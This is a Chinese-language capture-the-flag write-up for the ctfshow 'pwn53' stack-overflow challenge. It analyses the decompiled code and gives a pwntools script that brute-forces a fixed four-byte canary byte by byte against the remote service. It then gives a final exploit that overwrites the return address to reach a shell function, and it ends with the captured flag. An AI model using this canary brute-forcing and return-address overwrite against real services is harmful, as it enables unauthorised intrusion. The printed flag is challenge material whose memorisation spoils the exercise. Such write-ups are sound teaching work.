checksec
[*] 'C:\\Users\\26597\\Desktop\\pwn53'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序
本地运行以下先看看
ctfshow@ubuntu:~/Desktop/xd$ ./pwn53
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Do you know how Canary works?
* *************************************
/canary.txt: No such file or directory.
报错了,运行不下去
main函数的运行逻辑在过完logo函数进入canary函数后就结束了
canary函数:
int canary()
{
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen("/canary.txt", "r");
if ( !stream )
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
fread(&global_canary, 1u, 4u, stream);
return fclose(stream);
}
这个函数的作用是从一个名为 /canary.txt
的文件中读取一个值,并将其存储到全局变量 global_canary
中。以下是函数的详细逻辑分析:
1. 函数声明
int canary()
- 这是一个无参数的函数,返回值为
int
类型。
2. 局部变量声明
FILE *stream;
- 声明了一个指向
FILE
类型的指针stream
,用于后续的文件操作。
3. 打开文件
stream = fopen("/canary.txt", "r");
- 使用
fopen
函数尝试以只读模式("r"
)打开文件/canary.txt
。 - 如果文件打开成功,
stream
将指向该文件的文件流;如果失败,stream
将为NULL
。
4. 检查文件是否打开成功
if (!stream)
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
- 如果
stream
为NULL
,说明文件打开失败。 - 输出错误信息:
/canary.txt: No such file or directory.
。 - 调用
exit(0)
终止程序运行。
5. 读取文件内容
fread(&global_canary, 1u, 4u, stream);
- 使用
fread
函数从文件流stream
中读取数据。 - 参数解释:
&global_canary
:目标地址,将读取的数据存储到全局变量global_canary
中。1u
:每个数据块的大小为 1 字节。4u
:读取 4 个数据块,即总共读取 4 字节。stream
:文件流指针。
- 这里假设
global_canary
是一个 4 字节的变量(例如int
或uint32_t
类型),函数会从文件中读取 4 字节的数据并存储到global_canary
中。
6. 关闭文件
return fclose(stream);
- 使用
fclose
函数关闭文件流stream
。 fclose
的返回值为int
类型:- 如果成功关闭文件,返回 0。
- 如果关闭失败,返回非零值。
- 函数返回
fclose
的结果。
函数总结
- 功能:从文件
/canary.txt
中读取 4 字节的数据,并将其存储到全局变量global_canary
中。 - 输入:无参数,但依赖于文件
/canary.txt
。 - 输出:
- 如果文件不存在,输出错误信息并退出程序。
- 如果文件存在,读取数据并关闭文件,返回
fclose
的结果。
这时候返回来看本地运行的结果,直接返回报错信息的原因应该是本地不存在canary.txt这个文件
所以这次打远程是不会出现这样的报错的
正常nc
C:\Users\26597>nc pwn.challenge.ctf.show 28283
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Do you know how Canary works?
* *************************************
How many bytes do you want to write to the buffer?
果然报错信息不一样
所以canary函数本身只是检查canary.txt是否存在的
并不需要在意
按照main函数逻辑
canary函数执行后就是ctfshow函数
ctfshow函数代码:
int ctfshow()
{
size_t nbytes; // [esp+4h] [ebp-54h] BYREF
_BYTE v2[32]; // [esp+8h] [ebp-50h] BYREF
_BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF
int s1; // [esp+48h] [ebp-10h] BYREF
int v5; // [esp+4Ch] [ebp-Ch]
v5 = 0;
s1 = global_canary;
printf("How many bytes do you want to write to the buffer?\n>");
while ( v5 <= 31 )
{
read(0, &v2[v5], 1u);
if ( v2[v5] == 10 )
break;
++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes);
printf("$ ");
read(0, buf, nbytes);
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
puts("Where is the flag?");
return fflush(stdout);
}
这段代码实现了一个简单的用户交互程序,其主要功能是从用户输入中读取数据并写入缓冲区,同时通过“金丝雀值”(canary value)检测是否存在堆栈溢出攻击。以下是代码的详细逻辑分析:
1. 函数声明
int ctfshow()
- 这是一个无参数的函数,返回值为
int
类型。
2. 局部变量声明
size_t nbytes; // 用于存储用户输入的字节数
_BYTE v2[32]; // 用于存储用户输入的数字字符串(最多32字节)
_BYTE buf[32]; // 用于存储用户输入的最终数据(最多32字节)
int s1; // 用于存储全局金丝雀值的副本
int v5; // 用于循环控制
3. 初始化变量
v5 = 0;
s1 = global_canary;
v5
初始化为0
,用于后续循环控制。s1
被初始化为全局变量global_canary
的值,这是一个“金丝雀值”,用于检测堆栈溢出。
4. 提示用户输入字节数
printf("How many bytes do you want to write to the buffer?\n>");
- 程序提示用户输入要写入缓冲区的字节数。“
5. 读取用户输入的数字字符串
while (v5 <= 31)
{
read(0, &v2[v5], 1u); // 从标准输入读取一个字节
if (v2[v5] == 10) // 如果是换行符(回车),结束输入
break;
++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes); // 将输入的字符串转换为整数
- 使用
read
函数逐字节读取用户输入,直到遇到换行符(\n
)。 - 最多读取32字节,存储到
v2
数组中。 - 使用
__isoc99_sscanf
将输入的字符串解析为整数,存储到nbytes
中。
6. 提示用户输入数据
printf("$ ");
- 程序提示用户输入实际要写入缓冲区的数据。
7. 读取用户输入的数据
read(0, buf, nbytes);
- 使用
read
函数从标准输入读取nbytes
字节的数据,并存储到buf
数组中。
8. 检测堆栈溢出
if (memcmp(&s1, &global_canary, 4u))
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
- 使用
memcmp
比较s1
和global_canary
的值。 - 如果它们不相等,说明堆栈可能被破坏(例如,由于缓冲区溢出攻击),程序会输出错误信息并退出。
9. 输出提示信息
puts("Where is the flag?");
return fflush(stdout);
- 输出提示信息:“Where is the flag?”。
- 使用
fflush(stdout)
清空标准输出缓冲区,确保所有内容都被输出。
- 功能:程序要求用户输入要写入缓冲区的字节数,然后读取相应数量的数据到缓冲区。同时,通过“金丝雀值”检测堆栈是否被破坏。
- 安全机制:
- 使用金丝雀值(
global_canary
)检测堆栈溢出。 - 如果用户输入的字节数超过缓冲区大小(32字节),可能会导致缓冲区溢出,但金丝雀值会检测到这种异常。
- 使用金丝雀值(
至此基本上就能写exp了
首要目的是先爆破出carnary的值
carnary的值是4字节
而一字节有8位
所有字节有2^8=256种可能
所以通过嵌套循环就可以进行爆破
拷打ai:
from pwn import *
import sys
host = 'pwn.challenge.ctf.show'
port = 28242
canary = b''
def brute_canary():
global canary
for i in range(4):
for guess in range(256):
io = remote(host, port)
payload = b'A' * 32 # 填充 buf 数组
payload += canary # 已知的 canary 部分
payload += p8(guess) # 当前猜测的字节
try:
io.sendlineafter(b'>', b'100')
io.sendafter(b'$ ', payload)
response = io.recvline(timeout=2)
io.close()
if b'Canary Value Incorrect!' not in response:
canary += p8(guess)
print(
f"[+] Found byte {i + 1}: {hex(guess)} (ASCII: {chr(guess) if guess > 0x1f else chr(guess + 0x37)} )")
break
except EOFError:
io.close()
continue
if __name__ == "__main__":
brute_canary()
print(f"\n[+] Global Canary (HEX): {canary.hex()}")
print(f"[+] Global Canary (ASCII): {canary.decode('latin-1', errors='replace')}")
最终结果:
[+] Global Canary (HEX): 33364421
[+] Global Canary (ASCII): 36D!
根据这个canary值编写最终的exp:
from pwn import *
sh = remote("pwn.challenge.ctf.show", 28242)
bin_sh = 0x08048696
canary = b'\x33\x36\x44\x21'
payload = b'a'*(0x20) + canary + b'a'*(0x10) + p32(bin_sh)
#payload = b'a'*(0x20) + canary + p32(0x0)*4 + p32(bin_sh)
sh.sendline("1000")
sh.send(payload)
sh.interactive()
payload有两个需要注意的地方
1.因为用户输入的字节数一旦超过缓冲区大小(32字节),会导致缓冲区溢出,金丝雀值会检测到这种异常
所以payload中第一次填充数据只填入了0x20,而不是直接填入buf到栈底的长度0x30
然后接上爆破得出的canary值
再将到栈底的地址给覆盖掉,而剩下需要填入的数据就是0x30-0x20的部分
(另外一种payload也是一样的,本质上都是填充实际为16字节的东西进去覆盖掉到栈底的所有地址)
2.因为有两次输入
所以需要先sendline
这里sendline的意义是自定义一个下一次read的长度(详见4,5)
这样就能拿到flag
[x] Opening connection to pwn.challenge.ctf.show on port 28198
[x] Opening connection to pwn.challenge.ctf.show on port 28198: Trying 124.223.158.81
D:\python\pythonProject\pwn53.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
sh.sendline("1000")
[+] Opening connection to pwn.challenge.ctf.show on port 28198: Done
[*] Switching to interactive mode
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Do you know how Canary works?
* *************************************
How many bytes do you want to write to the buffer?
$ Where is the flag?
ctfshow{df00b40b-c8dd-4822-aed7-20b94cbee460}
(不会C不会python不会pwn的菜只能一点点把全部细节贴出来)